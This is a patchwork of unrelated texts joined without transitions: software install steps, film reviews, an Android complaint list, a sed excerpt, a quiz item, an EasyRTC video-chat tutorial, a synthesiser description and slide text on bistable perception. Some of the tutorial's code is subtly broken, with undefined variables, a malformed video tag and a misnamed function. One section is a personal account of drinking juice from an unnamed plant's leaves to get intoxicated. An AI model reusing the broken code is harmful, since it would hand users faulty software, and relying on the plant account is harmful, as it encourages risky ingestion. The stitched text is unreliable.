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Second route is using Git for Windows by going tohttp://git-scm.com/download/winand click the download button. Once the download is complete, run the application file. Going through the process you will want to check the Git BASH Here and the Git GUI Here options under the Select Components Menu. Also, in the Adjusting Your PATH Environment Menu choose the Use Git From Windows Command Prompt option. Leave everything else as is. After it is finished installing open up a new Command Prompt and type:
node -v
-
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Next thing that you will want to install is Node.js. To do this navigate to http://nodejs.organd click the download button. Once the download is complete, run the application file. Go through the process and hit install. Once installed open up a new Command Prompt and type:
node -v
If this doesn't return an error and you get a version number then Node is installed correctly. This will also install NPM which is nodes package manager and you will be using this to install a few more things.
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The last prerequisite is the grunt-cli and is very simple to install.  Now, move down to the section "Git Repository and Set Up".
Installing on Mac Machines
To install on a Mac machine there are a few things you are going to need to install:
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First thing that you will want to install is SASS. Since Ruby comes installed on Mac machines all you have to do this open up your Terminal and type:
gem install -g sass
This may take a minute or two but once it is done type:
sass -v
If this doesn't return an Error and you get a version number it is installed correctly.
-
Next thing that you will want to install is Node.js. To do this navigate to http://nodejs.organd click the download button. Once the download is complete, run the application file. Go through the process and hit install. Once installed open up your Terminal and type:
node -v
If this doesn't return an error and you get a version number then Node is installed correctly. This will also install NPM which is nodes package manager and you will be using this to install a few more things.
-
We also need to make sure Git is installed on the machine by opening up Terminal and typing
git
If it is not installed already it will open up a prompt that will walk you through the process.
-
The last prerequisite is the grunt-cli and is very simple to install.  Now, move down to the section "Git Repository and Set Up".


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Playing God A Film Review By Michael Redman Copyright 1997 By Michael Redman
* (Out of ****)
One would think that David Duchovny, star of the cult favorite "X-Files" would be very careful in choosing his leading man cinema roles. At least one would hope so. One would be seriously incorrect.
Eugene Sands (Duchovny) is a surgeon so dedicated to his craft that he becomes addicted to amphetamines to stay awake and work more. It turns out to be a bad plan when he loses a patient and his license while under the influence.
Ten months later, in a seedy bar to score synthetic heroin, the doctor gets a chance to ply his trade when assassins gun down a customer. Using a plastic water bottle and bar tubing, Sands operates and saves his life. Smalltime hoodlum Raymond Blossom (Timothy Hutton) is impressed with the cutlery skills on his associate. He kidnaps and then offers down-and-out Eugene a position in his organization.
Blossom needs a doctor to patch up gunshot victims that would be problematic at a hospital. Sand's temptation is that this will give him a chance to practice medicine again albeit illegally, big chunks of cash to fuel his habit and close proximity to the gangster's womanfriend Claire (Angelina Jolie), this film's babe factor.
The would-be big time operator is desperately in need of help. On the run from Russian mobsters (the bad guys that seem to be all the rage in this year's films) and trying to cut a pirate software deal with the Chinese Mafia, Blossom is surrounded by blood.
After a few medical misadventures, the physician grows disenchanted with his employment. An encounter with a couple of psycho surfer dudes who threaten to blow him away unless he "fixes" their dead buddy cements his feeling that he is in the wrong line of work. When the FBI visits and forces him to become an informant, there is no question that he needs to be somewhere else.
Oddly enough, these seem like they could be exciting scenes. The film disproves that assumption.
 Writing this only two days after seeing the film, its a struggle to remember the events. You can take that as a solid lack of recommendation.
For all the coolness that Duchovny exhibits in "X-Files", it's a surprise that his big screen presence is so lacking in charisma. The doctor is particularly bland and dull. Even the cold turkey bit which is rife with dramatic possibilities come across as banal. A little chocolate and minor sweats get him through heroin withdrawal. Like virtually everything else in the film, it's a missed opportunity. The Fox Mulder detachment doesn't work here.
Oscar-winner Hutton's manic mobster is much more difficult to get a handle on. Played partially for comedy and partially as crazed killer, Blossom almost becomes real, but then sinks into goofiness. Most of the time Hutton looks as if he's searching for his character and coming up empty.
Jolie also makes a few false moves towards creating a three-dimensional human being before giving up and turning into scenery. The most interesting aspect of her performance is watching her pouty lips threaten to take over the screen.
The rest aren't any better. Michael Massee's eccentric FBI agent never revs up. One of Blossom's henchmen steals a few moments of the show as a quirky gunman reminiscent of Val Kilmer's Doc Holliday in "Tombstone". His two-gunned blasting as he does a bizarre dance is the high point of the film. But that 15 seconds isn't worth sitting through the other 90 minutes.
First time film director Andy Wilson (known for his work on the British television series "Cracker") appears to be attempting to jump on the "Pulp Fiction" bandwagon. The best of these movies combine a sense of style and flash with significant substance. The second-rate ones concentrate on just one of these aspects. "Playing God" does neither well.
The basic idea of the film is solid. And then it goes nowhere. Even worse, it plods back and forth, up and down a long and winding road before it ends up nowhere.
(After over 22 years of writing this column, Michael Redman is still shocked when good actors and a sound premise combine to create a wretched film. You'd think he'd learn. Lesson plans can be sent to<EMAIL_ADDRESS>)
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First off, the classification of this plant I'd have to say is a mild relaxant.
I initially started off with 50 leaves and drank 10 of them in a slushie to drown out the taste... It was gross as hell and I said there was no way I was doing that 4 more times so I gave up and threw away the leaves.
About 10 minutes later I came up with another method of ingesting the stuff so I took the leaves out of the trash and hand squeezed the leaves into a cup, rolling them in between my hands helped. Then mixed the juice (about 3 tbsp) with a bunch of koolaid and drank it. About 30 mins later I had some crazy stomach pains but they went away in about 10 mins. After that I started to feel slightly drunk which is basically all this stuff does.
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Positive
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-things slightly shifting
-zoning out
Negative
-bad stomach cramps in the beginning
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I've been meaning to write this post for almost a year now, usually right after a frustrating experience with my Motorola Atrix running some version of Gingerbread. Instead of writing about a few issues, I figured I'd just make a bulleted list about why I'm done with Android and will be buying an iPhone again once I'm eligible for an upgrade. I don't want this post to come off as a hate-fest. I enjoy Android just fine and I want to see Android succeed in the long-term, but I hesitate to spend $200 and two years of my life dedicated to the platform at this time.
Here is a non-comprehensive list of reasons I'm done with Android for the time being:
- $200 worth of iPhone is a much better value than $200 worth of poor hardware design: flimsy plastic, bad battery life, and awkward screen dimmer switches.
- Manufacturer meddling and "improvements" over the default android distro. This is a huge problem for Android and might be fixed with Ice Cream Sandwhich.
- Ugly design: Motorola or AT&T took the default android theme and created an ugly cyan (my least favorite color) theme.
- I had to install multiple custom applications to reset manufacturer home screen changes.
- YellowBooks came pre-installed on my phone.
- Motoblur is some kind of Motorola account management application that clearly is baked into the phone and replaces better default functionality
- AT&T's death-star looking globe is now my browser icon, not the default one.
- No built-in PDF or .doc viewer!
- Segmented accounts. I now have two accounts that have apps "owned" by them. I have to view the market as each account to download updates
- Android stores various google and twitter accounts tied to the device. This results in odd behavior like the market being "owned" by that account.
- No good email or SMS clients. Must resort to K-9 mail which fetches mail slowly and has odd bugs, and Handcent which looks bad and does not have great UX design.
- Ice Cream Sandwich, what's that? Motorola or AT&T tells me when I can upgrade to the Android version I heard about last year. It might as well not exist for me.
- The alarm popup snoozes based on a single miss tap. It rotates as you pick it up to slide a tiny slider over to clear it. Usually results in annoying alarm 5 minutes after you've woken up.
- The small delete icon for closing open browser windows often just triggers a tap on the list item below it, opening that window.
- I can only have 10 browser windows open, managing them is a pain.
- "Open with application" redirect loops: sometimes executing an intent results in a loop where I'm asked over and over which application I'd like to use to handle this intent.
- Dialer program (possibly replaced by Motorola) has really frustrating UX design. Seems to call back the last person you called when you click the dial button, rather than the last number it shows (could be a missed call, for example).
- My android doesn't look like your android. Have to search in order to find ways to add cool stuff from your version to mine.
- Can't see a list of running programs. Have to use Advanced Task Killer to reliably kill background apps
- Random apps start without my authorization. Skype is particularly bad about this, as soon as I kill it, it's back running again.
This is a growing list. I'd love feedback on this list. Am I missing something? Am I being too harsh? I know iOS isn't perfect, but it's better than this. I'd love your comments!


You can use a comment to document a script by describing its purpose. Starting in this chapter, our full script examples begin with a comment line. A comment line can appear as the first line of a script. In System V's version of sed, a comment is permitted only on the first line. In some versions, including sed running under SunOS 4.1.x and with GNU sed, you can place comments anywhere in the script, even on a line following a command. The examples in this book will follow the more restrictive case of System V sed, limiting comments to the first line of the script. However, the ability to use comments to document your script is valuable and you should make use of it if your version of sed permits it.
An octothorpe (#) must be the first character on the line. The syntax of a comment line is:
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The following example shows the first line of a script:
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If necessary, the comment can be continued on multiple lines by ending the preceding line with a backslash.[2] For consistency, you might begin the continuation line with an # so that the line's purpose is obvious.
[2] This does not work with GNU sed (version 2.05), though.
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Assume we see an if statement that reads if (!true). What would you know about this code?
The code inside this conditional would never run.
- The code inside this conditional would always run.
- I don't have enough information about the program to answer this question.
- This code would cause your computer to restart.
- if (!true) would produce a syntax error.
- This code would compile, but would fail if you tried to run it.
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EasyRTC is a framework built on top of WebRTC, an emerging W3C/IETF standard for real time communication of audio, video, and data directly between web browsers. WebRTC supports the transfer of audio, video and data on a peer-to-peer basis putting very little load on supporting servers.
The EasyRTC framework consists of a client or browser-side JavaScript library and a backend JavaScript server built on top of a node.js. Because the WebRTC libraries is built into each browser there is no need for a browser plug-in.
Google's Chrome browser has the broadest support for the WebRTC API. Opera is now using the same engine as Chrome and hence mimics it's behavior. Firefox provides excellent support for data communications but only basic support for video chats (it lacks the ability to set the camera resolution, programmatically allow screen sharing, or do statistics gathering).
WebRTC has the potential once it is fully standardized to support audio and video chats and conferencing, multiplayer games and many other audio, video and data-based applications.
As is often the case with software, with power comes complexity. WebRTC has a learning curve that is likely to hamper its use by web developers. To hide that complexity, Priologic has built the EasyRTC framework.
A WebRTC application usually needs to do most of the following steps.
Using the EasyRTC framework, several of these steps can be collapsed into a single call, vastly simplifying the developers job, particularly if the web developer is trying to support multiple platforms.
This document is a tutorial for writing applications with the EasyRTC framework. It does not cover the entire EasyRTC API.
The EasyRTC framework can be easily installed on most platforms in 10 minutes. We have install instructions for Windows, Mac and Linux available. The files that make up EasyRTC at [https://github.com/priologic/easyrtc] start with the README.md file. The docs directory of EasyRTC distribution has documentation in HTML for both server and client side components.
If you find yourself running into problems installing check out the various sources for connecting with us and the community also listed in the README.md file.
This section shows you how to build a page that supports two-way (person to person) audio/visual conversations with as little developer effort as possible.
Include the below four lines in the  section of your HTML file. The first two scripts are needed by EasyRTC, while the third will be your own application logic. The CSS file provides some styling for an error messages dialog.

...
<link rel="stylesheet" type="text/css" href="/easyrtc/easyrtc.css" />

...

Put two video tags (one to display video from the local camera, one to display video from somebody else's camera) with id attributes in the  section of your html file, like the below. The second video tag should be in a
 block with a CSS position value of "relative" to help position it's hangup button. There is no hangup button for the self video.

...
<video style="float:left" id="self" width="300" height="200" muted="muted"></video>

<video id="caller" width="300" height="200"></video>

...

If you don't have the muted flag in the self video tag, you'll get a feedback loop from your speakers to your microphone.
Now we have to start writing some application logic for the application.js file, starting with an initialization function that will be called when the page gets loaded. The primary responsibility of the initialization function is to call the EasyRTC.easyApp method. It takes the following arguments:
The initialization function is also a good place to register a callback to find out who else is hooked up to the server. The callback is registered using EasyRTC.setRoomOccupantListener.
Here is an example initialization function:
function my_init() {
easyrtc.setRoomOccupantListener( loggedInListener);
easyrtc.easyApp("Company_Chat_Line", "self", ["caller"],
function(myId) {
console.log("My easyrtcid is " + myId);
}
);
}
The callback will be called whenever somebody else connects to or disconnects from the "CompanyChatLine", and immediately after the call to easyrtc.easyApp.
The callback is passed two arguments:
In our example, the callback will maintain a list of buttons to call the other people connected to the "CompanyChatLine". We'll add a
 to the  to hold these buttons.

...

...

The text for the loggedInListener is below:
function loggedInListener(roomName, otherPeers) {
var otherClientDiv = document.getElementById('otherClients');
while (otherClientDiv.hasChildNodes()) {
otherClientDiv.removeChild(otherClientDiv.lastChild);
}
for(var i in otherPeers) {
var button = document.createElement('button');
button.onclick = function(easyrtcid) {
return function() {
performCall(easyrtcid);
}
}(i);
label = document.createTextNode(i);
button.appendChild(label);
otherClientDiv.appendChild(button);
}
}
Most applications can ignore the roomName parameter; it is only of interest if your application can access several rooms simultaneously.
Of course, in a real application, we wouldn't be using the easyrtcids for button labels. Instead, we would have some application logic to map the easyrtcids to more permanent identifiers like name, job title, and profile picture.
To actually initiate a call to a person, all we need to do is call the easyrtc.call method, passing it the easyrtcid of the person, and three callbacks:
Here is some code for the actual call initiation:
function performCall(easyrtcid) {
easyrtc.call(
easyrtcid,
function(easyrtcid) { console.log("completed call to " + easyrtcid);},
function(errorMessage) { console.log("err:" + errorMessage);},
function(accepted, bywho) {
console.log((accepted?"accepted":"rejected")+ " by " + bywho);
}
);
}
Now we just have to modify the body tag of our html file to actually call the my_init function.

Here is the complete HTML and JavaScript for this solution.
The HTML file:
<!DOCTYPE HTML>

<link rel="stylesheet" type="text/css" href="/easyrtc/easyrtc.css" />

<video style="float:left" id="self" width="300" height="200"></video>

<video id="caller" width="300" height="200"></video>

The mylogic.js file:
function my_init() {
easyrtc.setRoomOccupantListener( loggedInListener);
easyrtc.easyApp("Company_Chat_Line", "self", ["caller"],
function(myId) {
console.log("My easyrtcid is " + myId);
}
);
}
function loggedInListener(roomName, otherPeers) {
var otherClientDiv = document.getElementById('otherClients');
while (otherClientDiv.hasChildNodes()) {
otherClientDiv.removeChild(otherClientDiv.lastChild);
}
for(var i in otherPeers) {
var button = document.createElement('button');
button.onclick = function(easyrtcid) {
return function() {
performCall(easyrtcid);
}
}(i);
label = document.createTextNode(i);
button.appendChild(label);
otherClientDiv.appendChild(button);
}
}
function performCall(easyrtcid) {
easyrtc.call(
easyrtcid,
function(easyrtcid) { console.log("completed call to " + easyrtcid);},
function(errorMessage) { console.log("err:" + errorMessage);},
function(accepted, bywho) {
console.log((accepted?"accepted":"rejected")+ " by " + bywho);
}
);
}
In the previous section, we outlined the approach that maximized the ease of getting a video conference page up and running. In this section, we trade off some the ease for greater flexibility and control.
Instead of calling easyrtc.easyApp, you can call easyrtc.initMediaSource to get access to the local media stream, followed by a call to easyrtc.connect once the call to easyrtc.initMediaSource finished. This (and a bit more) is what easyrtc.easyApp does internally.
If you do it this way, you don't need the CSS file or the
 surrounding the second video because there won't be any automatically added hangup buttons. The HTML ends up looking like this:
<!DOCTYPE HTML>

<link rel="stylesheet" type="text/css" href="/easyrtc/easyrtc.css" />

<video style="float:left" id="self" width="300" height="200"></video>
<video style="float:left" id="caller" width="300" height="200">/video>

The new initialization looks like:
function my_init() {
easyrtc.setRoomOccupantListener( loggedInListener);
var connectSuccess = function(myId) {
console.log("My easyrtcid is " + myId);
}
var connectFailure = function(errmesg) {
console.log(errmesg);
}
easyrtc.initMediaSource(
function(){ // success callback
var selfVideo = document.getElementById("self");
easyrtc.setVideoObjectSrc(selfVideo, easyrtc.getLocalStream());
easyrtc.connect("Company_Chat_Line", connectSuccess, connectFailure);
},
connectFailure
);
}
Notice the call to easyrtc.getLocalStream and easyrtc.setVideoObjectSrc. The former gets a media stream object for the local camera and microphone, once the call to easyrtc.initMediaSource succeeds. The latter ties a video tag to a media stream object. Put together, it provides a mirror-like facility, allowing a user to monitor how their own image looks.
We'll need two more calls for the involved version:
A callback for new media streams provided by remote peers. The callback's job is to tie another video tag to the incoming stream. It looks like:
easyrtc.setStreamAcceptor( function(callerEasyrtcid, stream) {
var video = document.getElementById('caller');
easyrtc.setVideoObjectSrc(video, stream);
});
A callback to detect that a remote peer has hung-up. This callback's job is to clear the video tag.
easyrtc.setOnStreamClosed( function (callerEasyrtcid) {
easyrtc.setVideoObjectSrc(document.getElementById('caller'), "");
});
The entire JavaScript looks like the below code:
The mylogic2.js file:
easyrtc.setStreamAcceptor( function(callerEasyrtcid, stream) {
var video = document.getElementById('caller');
easyrtc.setVideoObjectSrc(video, stream);
});
easyrtc.setOnStreamClosed( function (callerEasyrtcid) {
easyrtc.setVideoObjectSrc(document.getElementById('caller'), "");
});
function my_init() {
easyrtc.setRoomOccupantListener( loggedInListener);
var connectSuccess = function(myId) {
console.log("My easyrtcid is " + myId);
}
var connectFailure = function(errorCode, errText) {
console.log(errText);
}
easyrtc.initMediaSource(
function(){ // success callback
var selfVideo = document.getElementById("self");
easyrtc.setVideoObjectSrc(selfVideo, easyrtc.getLocalStream());
easyrtc.connect("Company_Chat_Line", connectSuccess, connectFailure);
},
connectFailure
);
}
function loggedInListener(roomName, otherPeers) {
var otherClientDiv = document.getElementById('otherClients');
while (otherClientDiv.hasChildNodes()) {
otherClientDiv.removeChild(otherClientDiv.lastChild);
}
for(var i in otherPeers) {
var button = document.createElement('button');
button.onclick = function(easyrtcid) {
return function() {
performCall(easyrtcid);
}
}(i);
label = document.createTextNode(i);
button.appendChild(label);
otherClientDiv.appendChild(button);
}
}
function performCall(easyrtcid) {
easyrtc.call(
easyrtcid,
function(easyrtcid) { console.log("completed call to " + easyrtcid);},
function(errorCode, errorText) { console.log("err:" + errorText);},
function(accepted, bywho) {
console.log((accepted?"accepted":"rejected")+ " by " + bywho);
}
);
}
The basis idea in using multiple local media streams is that you need to name them each stream when it is created. When you call initMediaSource, pass it a third argument which is the name you want assigned to the resulting media. Such as:
easyrtc.initMediaStream( success, failure, "timesSquareCamera");
If you don't pass a name when creating the stream, it implicitly gets named 'default'. Usually you don't need to know this of course.
You can get a list of the names of your local media streams using easyrtc.getLocalMediaIds.
var ids = easyrtc.getLocalMediaIds();
var i;
for( i = 0; i < ids.length; i++ ) {
console.log(ids[i]);
}
When you initiate a call, you can supply an array list of stream names as the fifth argument. Similarly, when you accept a call, you can pass a list of stream names as the second argument to the accept callback.
easyrtc.call(otherEasyrtcId, successCB, failCB, wasAcceptedCB, ["timesSquareCamera"]);
easyrtc.setAcceptChecker(function(otherGuy, acceptorCallback){
acceptorCallback(true, [ "livingRoomCamera", ["kitchenCamera"]);
});
You can also add a stream to an existing call using easyrtc.addStreamToCall. It takes a stream name and a stream name as arguments. If successful, the receiver's streamAcceptor callback gets called with the media stream. The streamAcceptor gets passed three arguments: the peer's easyrtcid, the stream itself, and the name of the remote stream.
Note: The EasyApp framework is not designed to work with multiple media streams. It's based on the simplifying assumption that there is only one local media stream. If you want to use multiple multiple media streams, you have to accept the effort of managing their assignment to video tags yourself.
The new way of desktop sharing is to first create a media stream using esayrtc.initScreenCapture. It takes the same arguments as easyrtc.initMediaSource.
easyrtc.initScreenCapture( successCB, failCB, "myScreen");
...
easyrtc.call(otherEasyrtcId, successCB, failCB, wasAcceptedCB, ["myScreen"]);
If you don't want to share your audio or your video, you can disable their transmission with one of the below calls.
easyrtc.enableAudio(false);
easyrtc.enableVideo(false);
These calls determine the content of the local media stream initialized by easyrtc.initMediaSource, so you must call them before calling easyrtc.initMediaSource.
In the examples above, the callee always accepted connections from the caller. In a production environment, a user would want control over which calls were accepted. The EasyRTC framework supports such by allowing you to register a callback that will be invoked each time a caller tries to establish a connection with you. The callback should expect to get the caller's easyrtcid as it's first argument, and a reporting function as it's second argument. The reporting function should be called with a value of true if the call should be accepted, false otherwise.
In your HTML code, add:

...

<button id="callAcceptButton" >Accept</button> <button id="callRejectButton">Reject</button>

....

In your JavaScript, add the below:
easyrtc.setAcceptChecker( function(callerId, reporterFunction) {
document.getElementById('acceptCallBox').style.display = "block";
if( easyrtc.getConnectionCount() > 0 ) {
document.getElementById('acceptCallLabel').innerHTML = "Drop current call and accept new from " + caller + " ?";
}
else {
document.getElementById('acceptCallLabel').innerHTML = "Accept incoming call from " + caller + " ?";
}
var acceptTheCall = function(wasAccepted) {
document.getElementById('acceptCallBox').style.display = "none";
if( wasAccepted && easyrtc.getConnectionCount() > 0 ) {
easyrtc.hangupAll();
}
cb(wasAccepted);
}
document.getElementById("callAcceptButton").onclick = function() { acceptTheCall(true);};
document.getElementById("callRejectButton").onclick =function() { acceptTheCall(false);};
}
);
While the above callback is fine for handling a single check, a real implementation would need to handle the case of a second check coming in before the first has been responded to.

Their behavior is controlled by application logic you install in the EasyRTC server (see the server documentation for details of this). By default, this behavior is:
A client becomes a member of a room by calling
easyrtc.joinRoom(roomName, roomParameters, successCallback, failureCallback);
The roomParameters argument is application specific.
For example:
easyrtc.joinRoom("ballroom", null,
function(roomName) {
console.log("I'm now in room " + roomName);
},
function(errorCode, errorText, roomName) {
console.log("had problems joining " + roomName);
});
A client leaves a room by calling
easyrtc.leaveRoom(roomName, successCallback, failureCallback);
For example:
easyrtc.leaveRoom("ballroom",
function(roomName) {
console.log("No longer in room " + roomName);
},
function(errorCode, errorText, roomName) {
console.log("had problems leaving " + roomName);
});
Both easyrtc.joinRoom and easyrtc.leaveRoom can be called before a connect, or after. If they are called before the connect, their successCallback and failureCallback functions won't be invoked.
For more information about rooms, see the [easyrtcrooms.md](easyrtcrooms.md) file.
You can register an error callback to find out about errors using easyrtc.setOnError. The callback gets passed an object of the form {"errorCode:errorCode", "errorText":errorText}. Example usage:
easyrtc.setOnError( function(errEvent) { console.log(errEvent.errorText);}
The errorCode parameter is a short string that is more intended for programmatic use than human consumption.
You can send data (via websockets) to someone by calling easyrtc.sendDataWS as below:
// easyrtc.sendDataWS( destination, messageType, messageData, ackHandler);
easyrtc.sendDataWS( 'xkdkfhfde9d94', 'contactInfo', { firstName:'john', lastName:'smith' }, function(ackMesg) {
if( ackMesg.msgType === 'error' ) {
console.log(ackMesg.msgData.errorText);
}
});
The destination is either a peer's easyrtcid or an object that may specify one or more of targetEasyrtcid, targetGroup, and targetRoom. The messageType is a short string you chose. The ackHandler gets called when the server receives your message, and does not constitute a reply from the other peer.
The other peer must be connected to the server and it must have registered a peer listener (callback) as below:
easyrtc.setPeerListener( function(sendersEasyrtcid, msgType, msgData, targeting) {
if( msgType === 'contactInfo' ) {
console.log( sendersEasyrtcid + ' is named ' + msgData.firstName + ' ' + msgData.lastName);
}
});
The targeting parameter is present if the destination was specified as an object by the sender.
You can also have a peer listener that is specific to a particular message type, or a particular message type and sender. Only one peer listener will be called per message and the most specific peer listener takes priority.
To use data channels, each peer must enable data channels before calling (or accepting a call): easyrtc.enableDataChannels(true);
It's then a good idea to listen for the events telling you that the datachannel to a particular peer is ready to be used, or that it's been closed. easyrtc.setDataChannelOpenListener( function(sourceEasyrtcid) { console.log("channel is open");} );
easyrtc.setDataChannelCloseListener(
function(sourceEasyrtcid) { console.log("channel has been closed");}
);
Once your data channel open listener has been called, you can send a message using easyrtc.sendDataP2P: easyrtc.sendDataP2P(targetEasyrtcid, 'contactInfo', { firstName:'john', lastName:'smith' });
Listening is done with the same peerListener as used when sending message using websockets.
Note: At this time, Data Channels are not working on Android.
You can find out how many peer connections you have by calling easyrtc.getConnectionCount. Example use:
console.log("You are connected to " + easyrtc.getConnectionCount() + " people.");
Typically it will be 0 or 1 unless you are hooked up to multiple people.
You can hang up on a someone using easyrtc.hangup as below:
easyrtc.hangup(peerEasyrtcid);
Alternatively, you can hang up on all the people you are connected to with:
easyrtc.hangupAll();
You can disconnect from the server by calling easyrtc.disconnect. Example use:
easyrtc.disconnect();
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WIDE SARGASSO SEA A film review by James Berardinelli Copyright 1993 James Berardinelli
Rating: 7.4 out of 10 (B-, **1/2 out of ****)
Date Released: 5/7/93 Running Length: 1:40 Rated: NC-17 (Sex, nudity)
Starring: Karina Lombard, Nathaniel Parker, Claudia Robinson, Rachel Ward, Michael York Director: John Duigan Producer: Sara Risher Screenplay: Jan Sharp, Carole Angier, and John Duigan from the book by Jean Rhys Music: Stewart Copeland Released by Fine Line Features
The story of WIDE SARGASSO SEA is a prequel to Charlotte Bronte's classic JANE EYRE. It tells what happened before the events of that novel, explaining in some detail the history behind the mad West Indian wife that Rochester (Nathaniel Parker) keeps locked away in the attic. When Rochester is first introduced, he is a fortune hunter, and Antoinette Cosway (Karina Lombard) is the object of his attention. She has a sizeable land holding in Jamaica that he wants to make his own, so he entices her into marrying him. For a while, the couple seems genuinely happy, but eventually an ugly secret from Antoinette's past--one that may also foretell her future doom--comes to light.
WIDE SARGASSO SEA, faithful to the novel from which its story is taken, is a beautifully photographed, wonderfully sensual, and poorly-paced motion picture. The first half-hour moves along nicely, but then the film bogs down and by the last fifteen minutes (which go by in blur), WIDE SARGASSO SEA has become virtually stagnant.
Director John Duigan knows what he's doing when it comes to using a setting to convey feelings. WIDE SARGASSO SEA is a vibrant movie, one of images and passions. His sweltering 1840s Jamaica is perfectly rendered as the backdrop for the tumultuous relationship between Antoinette and Rochester. Duigan manages something difficult--getting an audience sitting in a cool movie theater to feel like they're in the tropics. Equal credit must go to cinematographer Geoff Burton, who displays talent for the visuals of this film.
Even with its uneven tone, WIDE SARGASSO SEA might have been a success had stronger performers been hired in the leading roles. While both Karina Lombard and Nathaniel Parker are pleasing to look at, neither is capable of delivering dialogue with any consistent degree of realism. With the characters not being realized with full power, the storyline becomes plodding, and the movie threatens to grind to a halt.
As a romance, this movie is mildly successful. As a tragedy, it isn't nearly as good. The fatal wedge in the marriage (the likelihood that Antoinette will eventually become as insane as her mother) seems overplayed. One must remember that this is not a a contemporary society and insanity was thought of much differently, but the film has trouble presenting solid character motivation during its second half. The relationship between Antoinette and Rochester, which was developed with great skill, is torn down with far less concern for detail.
There are a lot of sex scenes in this film, but nothing to earn it an NC-17. BASIC INSTINCT was as explicit, and perhaps THE LOVER even more so--with one caveat. There is a shot of full-frontal male nudity in WIDE SARGASSO SEA. That apparently is a no-no for a movie wanting an R. As a result, this film gets the dreaded NC-17.
WIDE SARGASSO SEA is has a strong beginning.  It isn't that this is a bad movie, because it's not. Rather, it's a question of how powerful it could have been with lead performers who could bolster--rather than mute--the strength of the main characters, because the interest in Antoinette and Rochester is exclusively what pulls the audience through the flatter parts of the story.
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Each {_sweep} generator generates a repeating control signal pattern, at a rate that is adjustable from one cycle every ten seconds up to thirty cycles per second. The Mode parameter gives choices of several different things:
Of course, these things are all independent for the A {_channel} and B channel sweep generators.
The sorts of shapes that the sweep can produce include the usual {_bipolar} sine wave, and a {_unipolar} square wave for trill effects. You're given a choice between sine and cosine, but this is only meaningful if synchronized to key presses. There is also an offset sine and a half sine, both of which are unipolar, and there is a triangle shape and a sawtooth shape. Finally, there are a set of patterns that step at twice the sweep rate, including a completely random pattern.
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When our eyes can’t decide.
Jan Freyberg
Research Associate
King's College London
When we see, we make decisions.
When we see, we make decisions.
When we see, we make decisions.
When we see, we make decisions.
Sometimes, making these decisions is difficult.
Sometimes, making these decisions is difficult.
Stable input can produce unstable vision.
Stable input can produce unstable vision.
Stable input can produce unstable vision.
Stable input can produce unstable vision.
Bistable perception can happen with moving images!
Bistable perception can happen with moving images!

But can it tell us anything about the brain?
It turns out, quite a bit.
High-level understanding of the world helps the visual system decide.
High-level understanding of the world helps the visual system decide.
Brain activity is "exclusive" in the visual system.
Try out binocular rivalry!
This indicates competition in the brain.
Neuron 1 -> <- Neuron 2
This indicates competition in the brain.

GABA
(inhibitory)
Glutamate
(excitatory)
Neurotransmitters are linked to competition.
Therefore, this competition could be a "proxy" measure.
When we want to measure neurotransmitters, we often don't have many
options - especially not if we want to save money and time.
And yet, measuring neurotransmitters is important when it comes to
neurological or psychiatric conditions.
Using bistable perception in amblyopia.
Using bistable perception in amblyopia.
Using bistable perception in autism.
Using bistable perception in bipolar disorder.
Conclusions.
- Bistable perception relies on competition in the brain.
- This means we can use it to study brain signalling.
- That in turn gives us a chance to study neurological and psychiatric disorders.